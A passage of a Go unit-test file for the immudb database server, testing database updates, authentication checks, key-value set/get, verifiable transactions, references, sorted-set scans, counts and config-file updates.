testValue,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = s.CloseDatabases()\n\trequire.NoError(t, err)\n}\n\nfunc TestServerUpdateDatabaseAuthDisabled(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithAuth(false)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\t_, err = s.UpdateDatabase(context.Background(), &schema.DatabaseSettings{})\n\trequire.ErrorIs(t, err, ErrAuthMustBeEnabled)\n}\n\nfunc TestServerUpdateDatabaseAuthEnabled(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithAuth(true)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.UpdateDatabase(ctx, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tdbSettings := &schema.DatabaseSettings{\n\t\tDatabaseName: serverOptions.defaultDBName,\n\t}\n\t_, err = s.UpdateDatabase(ctx, dbSettings)\n\trequire.ErrorIs(t, err, ErrReservedDatabase)\n\n\tdbSettings = &schema.DatabaseSettings{\n\t\tDatabaseName: fmt.Sprintf(\"nodb%v\", time.Now()),\n\t}\n\t_, err = s.UpdateDatabase(ctx, dbSettings)\n\trequire.ErrorIs(t, err, database.ErrDatabaseNotExists)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName:    \"lisbon\",\n\t\tReplica:         true,\n\t\tPrimaryDatabase: \"defaultdb\",\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\tnewdb.Replica = false\n\tnewdb.PrimaryDatabase = \"\"\n\t_, err = s.UpdateDatabase(ctx, newdb)\n\trequire.NoError(t, err)\n\n\tdbOpts, err := s.loadDBOptions(\"lisbon\", false)\n\trequire.NoError(t, err)\n\trequire.Equal(t, false, dbOpts.Replica)\n}\n\nfunc TestServerUpdateDatabaseV2AuthDisabled(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithAuth(false)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\t_, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{})\n\trequire.ErrorIs(t, err, ErrAuthMustBeEnabled)\n}\n\nfunc TestServerUpdateDatabaseV2AuthEnabled(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithAuth(true)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tctx := context.Background()\n\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.UpdateDatabaseV2(ctx, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tdbSettings := &schema.UpdateDatabaseRequest{\n\t\tDatabase: serverOptions.defaultDBName,\n\t}\n\t_, err = s.UpdateDatabaseV2(ctx, dbSettings)\n\trequire.ErrorIs(t, err, ErrReservedDatabase)\n\n\tdbSettings = &schema.UpdateDatabaseRequest{\n\t\tDatabase: fmt.Sprintf(\"nodb%v\", time.Now()),\n\t}\n\t_, err = s.UpdateDatabaseV2(ctx, dbSettings)\n\trequire.ErrorIs(t, err, database.ErrDatabaseNotExists)\n\n\tnewdb := &schema.CreateDatabaseRequest{\n\t\tName: \"lisbon\",\n\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\t\tPrimaryDatabase: &schema.NullableString{Value: \"defaultdb\"},\n\t\t\t},\n\t\t},\n\t\tIfNotExists: true,\n\t}\n\tres, err := s.CreateDatabaseV2(ctx, newdb)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, res)\n\trequire.False(t, res.AlreadyExisted)\n\n\tres, err = s.CreateDatabaseV2(ctx, newdb)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, res)\n\trequire.True(t, res.AlreadyExisted)\n\n\tdbSettings = &schema.UpdateDatabaseRequest{\n\t\tDatabase: \"lisbon\",\n\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\t\tReplica: &schema.NullableBool{Value: false},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = s.UpdateDatabaseV2(ctx, dbSettings)\n\trequire.NoError(t, err)\n\n\tdbOpts, err := s.loadDBOptions(\"lisbon\", false)\n\trequire.NoError(t, err)\n\trequire.Equal(t, false, dbOpts.Replica)\n\n\tdbSettings = &schema.UpdateDatabaseRequest{\n\t\tDatabase: \"lisbon\",\n\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\tWriteTxHeaderVersion: &schema.NullableUint32{Value: 99999},\n\t\t},\n\t}\n\t_, err = s.UpdateDatabaseV2(ctx, dbSettings)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestServerLoaduserDatabase(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: testDatabase,\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\terr = s.CloseDatabases()\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\tif s.dbList.Length() != 2 {\n\t\tt.Fatalf(\"LoadUserDatabase error %d\", s.dbList.Length())\n\t}\n}\n\nfunc TestServerLoadUserDatabasesImmudb_1_1_0(t *testing.T) {\n\tdir := filepath.Join(t.TempDir(), \"data_v1.1.0\")\n\tcopier := fs.NewStandardCopier()\n\trequire.NoError(t, copier.CopyDir(\"../../test/data_v1.1.0\", dir))\n\n\tserverOptions := DefaultOptions().WithMetricsServer(false).WithDir(dir)\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\terr = s.loadUserDatabases(s.Options.Dir, nil)\n\trequire.NoError(t, err)\n}\n\nfunc testServerSetGet(ctx context.Context, s *ImmuServer, t *testing.T) {\n\ttxhdr, err := s.Set(ctx, &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   testKey,\n\t\t\t\tValue: testValue,\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Millisecond)\n\n\tit, err := s.Get(ctx, &schema.KeyRequest{\n\t\tKey:     testKey,\n\t\tSinceTx: txhdr.Id,\n\t})\n\trequire.NoError(t, err)\n\tif it.Tx != txhdr.Id {\n\t\tt.Fatalf(\"set.get tx missmatch expected %v got %v\", txhdr.Id, it.Tx)\n\t}\n\tif !bytes.Equal(it.Key, testKey) {\n\t\tt.Fatalf(\"get key missmatch expected %v got %v\", string(testKey), string(it.Key))\n\t}\n\tif !bytes.Equal(it.Value, testValue) {\n\t\tt.Fatalf(\"get key missmatch expected %v got %v\", string(testValue), string(it.Value))\n\t}\n}\n\nfunc testServerSetGetError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   testKey,\n\t\t\t\tValue: testValue,\n\t\t\t},\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.Get(context.Background(), &schema.KeyRequest{\n\t\tKey: testKey,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc testServerSafeSetGet(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tstate, err := s.CurrentState(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tkv := []*schema.VerifiableSetRequest{\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\t\t\t\tValue: []byte(\"Killy\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Franz\"),\n\t\t\t\t\t\tValue: []byte(\"Clamer\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t}\n\n\tfor _, val := range kv {\n\t\tvTx, err := s.VerifiableSet(ctx, val)\n\t\trequire.NoError(t, err)\n\n\t\tif vTx == nil {\n\t\t\tt.Fatalf(\"Nil proof after SafeSet\")\n\t\t}\n\n\t\t_, err = s.VerifiableGet(ctx, &schema.VerifiableGetRequest{\n\t\t\tKeyRequest: &schema.KeyRequest{\n\t\t\t\tKey:     val.SetRequest.KVs[0].Key,\n\t\t\t\tSinceTx: vTx.Tx.Header.Id,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t//if it.GetItem().GetIndex() != proof.Index {\n\t\t//\tt.Fatalf(\"SafeGet index error, expected %d, got %d\", proof.Index, it.GetItem().GetIndex())\n\t\t//}\n\t}\n}\n\nfunc testServerCurrentRoot(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tfor _, val := range kvs {\n\t\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.CurrentState(ctx, &emptypb.Empty{})\n\t\trequire.NoError(t, err)\n\n\t}\n}\n\nfunc testServerCurrentRootError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.CurrentState(context.Background(), &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tkvs := []*schema.KeyValue{\n\t\t{\n\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\tValue: []byte(\"Tomba\"),\n\t\t},\n\t\t{\n\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\tValue: []byte(\"Killy\"),\n\t\t},\n\t\t{\n\t\t\tKey:   []byte(\"Franz\"),\n\t\t\tValue: []byte(\"Clamer\"),\n\t\t},\n\t}\n\n\tind, err := s.Set(ctx, &schema.SetRequest{KVs: kvs})\n\trequire.NoError(t, err)\n\n\tif ind == nil {\n\t\tt.Fatalf(\"Nil index after Setbatch\")\n\t}\n\n\t_, err = s.FlushIndex(ctx, &schema.FlushIndexRequest{CleanupPercentage: 1})\n\trequire.NoError(t, err)\n\n\t_, err = s.CompactIndex(ctx, &emptypb.Empty{})\n\trequire.ErrorIs(t, err, tbtree.ErrCompactionThresholdNotReached)\n\n\t_, err = s.GetAll(ctx, nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\titList, err := s.GetAll(ctx, &schema.KeyListRequest{\n\t\tKeys: [][]byte{\n\t\t\t[]byte(\"Alberto\"),\n\t\t\t[]byte(\"Jean-Claude\"),\n\t\t\t[]byte(\"Franz\"),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tfor ind, val := range itList.Entries {\n\t\tif !bytes.Equal(val.Value, kvs[ind].Value) {\n\t\t\tt.Fatalf(\"BatchSet value not equal to BatchGet value, expected %s, got %s\", string(kvs[ind].Value), string(val.Value))\n\t\t}\n\t}\n}\n\nfunc testServerSetGetBatchError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.GetAll(context.Background(), &schema.KeyListRequest{\n\t\tKeys: [][]byte{\n\t\t\t[]byte(\"Alberto\"),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc testServerByIndex(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tind := uint64(1)\n\n\tfor _, val := range kvs {\n\t\ttxhdr, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{val}})\n\t\trequire.NoError(t, err)\n\n\t\tind = txhdr.Id\n\t}\n\n\ts.VerifiableSet(ctx, &schema.VerifiableSetRequest{\n\t\tSetRequest: &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t{\n\t\t\t\t\tKey:   testKey,\n\t\t\t\t\tValue: testValue,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\t_, err := s.TxById(ctx, &schema.TxRequest{Tx: ind})\n\trequire.NoError(t, err)\n\n\t//if !bytes.Equal(inc.Value, kvs[len(kv)-1].Value) {\n\t//\tt.Fatalf(\"ByIndex, expected %s, got %d\", kvs[ind].Value, inc.Value)\n\t//}\n}\n\nfunc testServerByIndexError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.TxById(context.Background(), &schema.TxRequest{Tx: 0})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc testServerBySafeIndex(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tfor _, val := range kvs {\n\t\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{val}})\n\t\trequire.NoError(t, err)\n\n\t}\n\ts.VerifiableSet(ctx, &schema.VerifiableSetRequest{\n\t\tSetRequest: &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\t\tKey:   testKey,\n\t\t\tValue: testValue,\n\t\t}}},\n\t})\n\n\tind := uint64(1)\n\t_, err := s.VerifiableTxById(ctx, &schema.VerifiableTxRequest{Tx: ind})\n\trequire.NoError(t, err)\n\n\t//if inc.Item.Index != ind {\n\t//\tt.Fatalf(\"ByIndexSV, expected %d, got %d\", ind, inc.Item.Index)\n\t//}\n}\n\nfunc testServerBySafeIndexError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.VerifiableTxById(context.Background(), &schema.VerifiableTxRequest{Tx: 0})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n}\n\nfunc testServerHistory(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tinc, err := s.History(ctx, &schema.HistoryRequest{\n\t\tKey: testKey,\n\t})\n\trequire.NoError(t, err)\n\n\tfor _, val := range inc.Entries {\n\t\tif !bytes.Equal(val.Value, testValue) {\n\t\t\tt.Fatalf(\"History, expected %s, got %s\", val.Value, testValue)\n\t\t}\n\t}\n}\n\nfunc testServerHistoryError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.History(context.Background(), &schema.HistoryRequest{\n\t\tKey: testKey,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n}\n\nfunc testServerInfo(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tresp, err := s.ServerInfo(ctx, &schema.ServerInfoRequest{})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, resp.Version, version.Version)\n\trequire.Equal(t, resp.StartedAt, startedAt.Unix())\n\trequire.Equal(t, resp.NumTransactions, int64(16))\n\trequire.GreaterOrEqual(t, resp.NumDatabases, int32(1))\n\trequire.Greater(t, resp.DatabasesDiskSize, int64(0))\n}\n\nfunc testServerHealth(ctx context.Context, s *ImmuServer, t *testing.T) {\n\th, err := s.Health(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tif !h.GetStatus() {\n\t\tt.Fatalf(\"Health, expected %v, got %v\", true, h.GetStatus())\n\t}\n}\n\nfunc testServerHealthError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Health(context.Background(), &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n}\n\nfunc testServerReference(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}})\n\trequire.NoError(t, err)\n\n\tmeta, err := s.SetReference(ctx, &schema.ReferenceRequest{\n\t\tKey:           []byte(`tag`),\n\t\tReferencedKey: kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\n\titem, err := s.Get(ctx, &schema.KeyRequest{Key: []byte(`tag`), SinceTx: meta.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, kvs[0].Value, item.Value)\n}\n\nfunc testServerGetReference(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}})\n\trequire.NoError(t, err)\n\n\t_, err = s.SetReference(ctx, &schema.ReferenceRequest{\n\t\tKey:           []byte(`tag`),\n\t\tReferencedKey: kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\n\titem, err := s.Get(ctx, &schema.KeyRequest{\n\t\tKey: []byte(`tag`),\n\t})\n\trequire.NoError(t, err)\n\n\tif !bytes.Equal(item.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(item.Value), string(kvs[0].Value))\n\t}\n}\n\nfunc testServerReferenceError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.SetReference(ctx, &schema.ReferenceRequest{\n\t\tKey:           []byte(`tag`),\n\t\tReferencedKey: kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\n}\n\nfunc testServerZAdd(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}})\n\trequire.NoError(t, err)\n\n\tmeta, err := s.ZAdd(ctx, &schema.ZAddRequest{\n\t\tKey:   kvs[0].Key,\n\t\tScore: 1,\n\t\tSet:   kvs[0].Value,\n\t})\n\trequire.NoError(t, err)\n\n\titem, err := s.ZScan(ctx, &schema.ZScanRequest{\n\t\tSet:     kvs[0].Value,\n\t\tSeekKey: []byte(\"\"),\n\t\tLimit:   3,\n\t\tDesc:    false,\n\t\tSinceTx: meta.Id,\n\t})\n\trequire.NoError(t, err)\n\tif !bytes.Equal(item.Entries[0].Entry.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(kvs[0].Value), string(item.Entries[0].Entry.Value))\n\t}\n}\n\nfunc testServerZAddError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tKey:   kvs[0].Key,\n\t\tScore: 1,\n\t\tSet:   kvs[0].Value,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.ZScan(context.Background(), &schema.ZScanRequest{\n\t\tSet:     kvs[0].Value,\n\t\tSeekKey: []byte(\"\"),\n\t\tLimit:   3,\n\t\tDesc:    false,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n}\n\nfunc testServerScan(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}})\n\trequire.NoError(t, err)\n\n\t_, err = s.ZAdd(ctx, &schema.ZAddRequest{\n\t\tKey:   kvs[0].Key,\n\t\tScore: 3,\n\t\tSet:   kvs[0].Value,\n\t})\n\trequire.NoError(t, err)\n\n\tmeta, err := s.VerifiableZAdd(ctx, &schema.VerifiableZAddRequest{\n\t\tZAddRequest: &schema.ZAddRequest{\n\t\t\tKey:   kvs[0].Key,\n\t\t\tScore: 0,\n\t\t\tSet:   kvs[0].Value,\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.NoError(t, err)\n\n\titem, err := s.Scan(ctx, &schema.ScanRequest{\n\t\tSeekKey: nil,\n\t\tLimit:   1,\n\t\tPrefix:  kvs[0].Key,\n\t\tSinceTx: meta.Tx.Header.Id,\n\t})\n\trequire.NoError(t, err)\n\n\tif !bytes.Equal(item.Entries[0].Key, kvs[0].Key) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(kvs[0].Key), string(item.Entries[0].Key))\n\t}\n}\n\nfunc testServerScanError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.Scan(context.Background(), &schema.ScanRequest{\n\t\tSeekKey: nil,\n\t\tLimit:   1,\n\t\tPrefix:  kvs[0].Key,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n}\n\nfunc testServerTxScan(ctx context.Context, s *ImmuServer, t *testing.T) {\n\thdr, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}})\n\trequire.NoError(t, err)\n\n\t_, err = s.ZAdd(ctx, &schema.ZAddRequest{\n\t\tKey:   kvs[0].Key,\n\t\tScore: 3,\n\t\tSet:   kvs[0].Value,\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = s.VerifiableZAdd(ctx, &schema.VerifiableZAddRequest{\n\t\tZAddRequest: &schema.ZAddRequest{\n\t\t\tKey:   kvs[0].Key,\n\t\t\tScore: 0,\n\t\t\tSet:   kvs[0].Value,\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.NoError(t, err)\n\n\ttxls, err := s.TxScan(ctx, &schema.TxScanRequest{\n\t\tInitialTx: hdr.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.Len(t, txls.Txs, 3)\n\trequire.Equal(t, database.TrimPrefix(txls.Txs[0].Entries[0].Key), kvs[0].Key)\n}\n\nfunc testServerSafeReference(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.VerifiableSet(ctx, &schema.VerifiableSetRequest{\n\t\tSetRequest: &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{kvs[0]},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tvtx, err := s.VerifiableSetReference(ctx, &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: &schema.ReferenceRequest{\n\t\t\tKey:           []byte(\"refKey1\"),\n\t\t\tReferencedKey: kvs[0].Key,\n\t\t},\n\t\tProveSinceTx: 1,\n\t})\n\trequire.NoError(t, err)\n\n\tref, err := s.Get(ctx, &schema.KeyRequest{\n\t\tKey:     []byte(\"refKey1\"),\n\t\tSinceTx: vtx.Tx.Header.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, kvs[0].Value, ref.Value)\n}\n\nfunc testServerSafeReferenceError(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: &schema.ReferenceRequest{\n\t\t\tKey:           []byte(\"refKey1\"),\n\t\t\tReferencedKey: kvs[0].Key,\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc testServerCount(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t// Count\n\tc, err := s.Count(ctx, &schema.KeyPrefix{\n\t\tPrefix: kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\n\tif c.Count == 0 {\n\t\tt.Fatalf(\"Count error >0 got %d\", c.Count)\n\t}\n\t// CountAll\n\tcountAll, err := s.CountAll(ctx, new(empty.Empty))\n\trequire.NoError(t, err)\n\n\tif countAll.Count == 0 {\n\t\tt.Fatalf(\"CountAll error >0 got %d\", countAll.Count)\n\t}\n}\n\nfunc TestServerDbOperations(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: testDatabase,\n\t\tFileSize:     1 << 20,\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\t_, err = s.Count(ctx, nil)\n\trequire.Contains(t, err.Error(), store.ErrIllegalArguments.Error())\n\n\tres, err := s.CountAll(ctx, nil)\n\trequire.NoError(t, err)\n\trequire.Zero(t, res.Count)\n\n\ttestServerSetGet(ctx, s, t)\n\ttestServerSetGetError(ctx, s, t)\n\ttestServerCurrentRoot(ctx, s, t)\n\ttestServerCurrentRootError(ctx, s, t)\n\ttestServerSafeSetGet(ctx, s, t)\n\ttestServerSetGetBatch(ctx, s, t)\n\ttestServerSetGetBatchError(ctx, s, t)\n\ttestServerByIndex(ctx, s, t)\n\ttestServerByIndexError(ctx, s, t)\n\ttestServerHistory(ctx, s, t)\n\ttestServerHistoryError(ctx, s, t)\n\ttestServerBySafeIndex(ctx, s, t)\n\ttestServerBySafeIndexError(ctx, s, t)\n\ttestServerInfo(ctx, s, t)\n\ttestServerHealth(ctx, s, t)\n\ttestServerHealthError(ctx, s, t)\n\ttestServerReference(ctx, s, t)\n\ttestServerReferenceError(ctx, s, t)\n\ttestServerZAdd(ctx, s, t)\n\ttestServerZAddError(ctx, s, t)\n\ttestServerScan(ctx, s, t)\n\ttestServerScanError(ctx, s, t)\n\ttestServerTxScan(ctx, s, t)\n\ttestServerSafeReference(ctx, s, t)\n\ttestServerSafeReferenceError(ctx, s, t)\n\ttestServerCount(ctx, s, t)\n}\n\nfunc TestServerUpdateConfigItem(t *testing.T) {\n\tdataDir := filepath.Join(t.TempDir(), \"test-server-update-config-item-config\")\n\tconfigFile := fmt.Sprintf(\"%s.toml\", dataDir)\n\ts, closer := testServer(DefaultOptions().WithAuth(false).WithMaintenance(false).WithDir(dataDir))\n\tdefer closer()\n\n\t// Config file path empty\n\ts.Options.Config = \"\"\n\terr := s.updateConfigItem(\"key\", \"key = value\", func(string) bool { return false })\n\trequire.Error(t, err)\n\trequire.EqualError(t, err, \"config file does not exist\")\n\ts.Options.Config = configFile\n\n\t// ReadFile error\n\timmuOS := s.OS.(*immuos.StandardOS)\n\treadFileOK := immuOS.ReadFileF\n\terrReadFile := \"ReadFile error\"\n\timmuOS.ReadFileF = func(filename string) ([]byte, error) {\n\t\treturn nil, errors.New(errReadFile)\n\t}\n\terr = s.updateConfigItem(\"key\", \"key = value\", func(string) bool { return false })\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"error reading config file '%s'. Reason: %s\", configFile, errReadFile))\n\timmuOS.ReadFileF = readFileOK\n\n\t// Config already having the specified item\n\tioutil.WriteFile(configFile, []byte(\"key = value\"), 0644)\n\terr = s.updateConfigItem(\"key\", \"key = value\", func(string) bool { return true })\n\trequire.ErrorContains(t, err, \"server config already has 'key = value'\")\n\n\t// Add new config item\n\terr = s.updateConfigItem(\"key2\", \"key2 = value2\", func(string) bool { return false })\n\trequire.NoError(t, 